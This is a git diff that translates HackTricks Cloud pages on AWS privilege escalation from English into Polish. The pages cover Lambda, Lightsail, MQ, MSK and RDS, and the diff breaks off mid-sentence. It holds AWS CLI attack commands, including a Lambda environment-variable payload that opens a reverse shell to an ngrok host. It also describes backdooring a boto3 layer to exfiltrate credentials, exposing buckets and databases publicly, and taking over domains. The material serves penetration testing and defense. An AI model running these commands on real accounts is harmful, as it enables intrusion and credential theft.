Bezpośrednie privesc do dowolnej roli usługi lambda określonej. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +Użytkownicy z uprawnieniami **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** (a potencjalnie także `dynamodb:PutItem` i `dynamodb:CreateTable`) mogą pośrednio **eskalować uprawnienia** nawet bez `lambda:InvokeFunction`.\ +Mogą stworzyć **funkcję Lambda z złośliwym kodem i przypisać jej istniejącą rolę IAM**. +Zamiast bezpośrednio wywoływać Lambdę, użytkownik konfiguruje lub wykorzystuje istniejącą tabelę DynamoDB, łącząc ją z Lambdą poprzez mapowanie źródła zdarzeń. Ta konfiguracja zapewnia, że funkcja Lambda jest **automatycznie wyzwalana po dodaniu nowego elementu** do tabeli, zarówno przez działanie użytkownika, jak i inny proces, co pośrednio wywołuje funkcję Lambda i wykonuje kod z uprawnieniami przekazanej roli IAM. ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +Jeśli DynamoDB jest już aktywne w środowisku AWS, użytkownik **musi tylko ustanowić mapowanie źródła zdarzeń** dla funkcji Lambda. Jednak jeśli DynamoDB nie jest używane, użytkownik musi **utworzyć nową tabelę** z włączonym strumieniowaniem: ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +Teraz możliwe jest **połączenie funkcji Lambda z tabelą DynamoDB** poprzez **utworzenie mapowania źródła zdarzeń**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +Z funkcją Lambda powiązaną z strumieniem DynamoDB, atakujący może **pośrednio uruchomić Lambdę, aktywując strumień DynamoDB**. Można to osiągnąć poprzez **wstawienie elementu** do tabeli DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda określonej. ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +Napastnik z tym uprawnieniem może **przyznać sobie (lub innym) dowolne uprawnienia** (to generuje polityki oparte na zasobach, aby przyznać dostęp do zasobu): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda używanej przez przyznanie uprawnienia do modyfikacji kodu i jego uruchomienia. ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +Napastnik z tym uprawnieniem może **przyznać sobie (lub innym) uprawnienie `lambda:GetLayerVersion`**. Może uzyskać dostęp do warstwy i szukać luk lub wrażliwych informacji. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**Potencjalny wpływ:** Potencjalny dostęp do wrażliwych informacji. ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał do **modyfikacji kodu istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\ +Napastnik może **zmodyfikować kod lambdy, aby wyeksportować poświadczenia IAM**. +Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ - --zip-file fileb:///my/lambda/code/zipped.zip +--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda używanej. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### RCE przez zmienne środowiskowe +Dzięki tym uprawnieniom możliwe jest dodanie zmiennych środowiskowych, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można nadużyć zmiennych środowiskowych `PYTHONWARNING` i `BROWSER`, aby proces Pythona wykonał dowolne polecenia: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +Dla innych języków skryptowych istnieją inne zmienne środowiskowe, których możesz użyć. Aby uzyskać więcej informacji, sprawdź podsekcje języków skryptowych w: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### RCE za pomocą Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) pozwala na dołączenie **kodu** do twojej funkcji lamdba, ale **przechowując go osobno**, dzięki czemu kod funkcji może pozostać mały, a **kilka funkcji może dzielić kod**. +Wewnątrz lambdy możesz sprawdzić ścieżki, z których ładowany jest kod python za pomocą funkcji takiej jak poniższa: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +To są miejsca: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Na przykład, biblioteka boto3 jest ładowana z `/var/runtime/boto3` (4. pozycja). -#### Exploitation +#### Wykorzystanie -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, również zauważ, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam. +Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z najnowszą wersją biblioteki: ```bash pip3 install -t ./lambda_layer boto3 ``` +Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki na przykład). -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +Następnie spakuj ten katalog `./lambda_layer` i **prześlij nową warstwę lambda** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).\ +Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być **kompatybilna z wersją pythona** używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi być w **tej samej strefie:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +Teraz spraw, aby przesłana warstwa lambda była **dostępna dla każdego konta**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +I dołącz warstwę lambda do funkcji lambda ofiary: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +Następnym krokiem byłoby **wywołanie funkcji** samodzielnie, jeśli możemy, lub czekanie, aż **zostanie wywołana** w normalny sposób – co jest bezpieczniejszą metodą. -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +**Bardziej dyskretny sposób na wykorzystanie tej luki** można znaleźć w: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +Może z tymi uprawnieniami jesteś w stanie stworzyć funkcję i wykonać ją, wywołując URL... ale nie mogłem znaleźć sposobu, aby to przetestować, więc daj mi znać, jeśli to zrobisz! ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +Niektóre lambdy będą **otrzymywać wrażliwe informacje od użytkowników w parametrach.** Jeśli uzyskasz RCE w jednej z nich, możesz wyeksfiltrować informacje, które inni użytkownicy do niej wysyłają, sprawdź to w: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Referencje - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..0bd7f7cc0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Aby uzyskać więcej informacji o Lightsail, sprawdź: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> Ważne jest, aby zauważyć, że Lightsail **nie używa ról IAM należących do użytkownika**, ale do zarządzanego konta AWS, więc nie możesz nadużywać tej usługi do privesc. Jednak **wrażliwe dane**, takie jak kod, klucze API i informacje o bazach danych, mogą być dostępne w tej usłudze. ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +To uprawnienie pozwoli Ci uzyskać klucze SSH do uzyskania dostępu do instancji: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji wewnątrz instancji. ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +To uprawnienie pozwoli Ci wygenerować klucze SSH do uzyskania dostępu do instancji: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji wewnątrz instancji. ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +To uprawnienie pozwoli Ci uzyskać klucz do dostępu do koszyka: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w zasobniku. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +To uprawnienie pozwoli Ci uzyskać dane logowania do bazy danych: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazie danych. ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +To uprawnienie pozwoli Ci zmienić hasło do dostępu do bazy danych: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +Jeśli baza danych nie jest publiczna, możesz również uczynić ją publiczną z tymi uprawnieniami z ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazie danych. ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +To uprawnienie pozwala na otwieranie portów do Internetu. ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych portów. ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +To uprawnienie pozwala na otwieranie portów do Internetu. Należy zauważyć, że wywołanie to zamknie każdy port otwarty, który nie jest na liście. ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych portów. ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +Te uprawnienia pozwalają na przyznanie instancjom dostępu do koszyka bez dodatkowych poświadczeń. ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Potencjalny wpływ:** Potencjalny nowy dostęp do koszyków z wrażliwymi informacjami. ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Potencjalny wpływ:** Potencjalny nowy dostęp do kubełków z wrażliwymi informacjami. ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +Dzięki tym uprawnieniom atakujący mógłby przyznać dostęp do prywatnych ECR z usługi kontenerów. ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**Potencjalny wpływ:** Uzyskanie wrażliwych informacji z prywatnego ECR ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP. ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Potencjalny wpływ:** Przejęcie domeny ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP. ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Potencjalny wpływ:** Przejęcie domeny {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..e2a2e4949 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Zmienia nazwę użytkownika i hasło pierwszego IngestEndpoint kanału. (To API jest przestarzałe dla RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Zmienia nazwę użytkownika i hasło pierwszego IngestEndpoint kanału. (To API jest przestarzałe dla RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..48f159310 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +Aby uzyskać więcej informacji na temat MQ, sprawdź: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Dzięki tym uprawnieniom możesz **utworzyć nowego użytkownika w brokerze ActiveMQ** (to nie działa w RabbitMQ): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych informacji poprzez nawigację w ActiveMQ ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Dzięki tym uprawnieniom możesz **utworzyć nowego użytkownika w brokerze ActimeMQ** (to nie działa w RabbitMQ): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych informacji poprzez nawigację w ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +Jeśli broker używa **LDAP** do autoryzacji z **ActiveMQ**, możliwe jest **zmienienie** **konfiguracji** serwera LDAP na **taki kontrolowany przez atakującego**. W ten sposób atakujący będzie mógł **ukraść wszystkie poświadczenia przesyłane przez LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +Jeśli w jakiś sposób udałoby ci się znaleźć oryginalne poświadczenia używane przez ActiveMQ, mógłbyś przeprowadzić atak MitM, ukraść poświadczenia, użyć ich na oryginalnym serwerze i wysłać odpowiedź (może po prostu ponownie używając skradzionych poświadczeń, mógłbyś to zrobić). -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**Potencjalny wpływ:** Ukraść poświadczenia ActiveMQ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..865fe83ea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +Aby uzyskać więcej informacji o MSK (Kafka), sprawdź: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +Dzięki tym **uprawnieniom** i **dostępowi do VPC, w którym znajdują się brokerzy kafka**, możesz dodać **brak uwierzytelnienia**, aby uzyskać do nich dostęp. ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** udostępnionym. Jeśli jest publicznie udostępniony, jeśli **używane jest uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\ +Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie udostępniona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenie na dostęp do niej. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..185f49749 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -2,21 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Organizations +## Organizacje -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## Z konta zarządzającego do kont dziecięcych -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +Jeśli skompromitujesz konto root/zarządzające, istnieje duża szansa, że możesz skompromitować wszystkie konta dziecięce.\ +Aby [**dowiedzieć się, jak, sprawdź tę stronę**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..b0498fd44 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Usługa Relacyjnej Bazy Danych -For more information about RDS check: +Aby uzyskać więcej informacji na temat RDS, sprawdź: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie do bazy danych: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> Będziesz musiał **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci). -**Potential Impact:** Find sensitive info inside the databases. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +Zgodnie z [**dokumentacją**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) użytkownik z tym uprawnieniem mógłby połączyć się z instancją DB. -### Abuse RDS Role IAM permissions +### Nadużycie uprawnień roli IAM RDS #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> Jeśli uruchamiając **`SELECT datname FROM pg_database;`** znajdziesz bazę danych o nazwie **`rdsadmin`**, wiesz, że jesteś w **bazie danych AWS postgresql**. +Najpierw możesz sprawdzić, czy ta baza danych była używana do uzyskania dostępu do jakiejkolwiek innej usługi AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia: ```sql SELECT * FROM pg_extension; ``` +Jeśli znajdziesz coś takiego jak **`aws_s3`**, możesz założyć, że ta baza danych ma **jakiegoś rodzaju 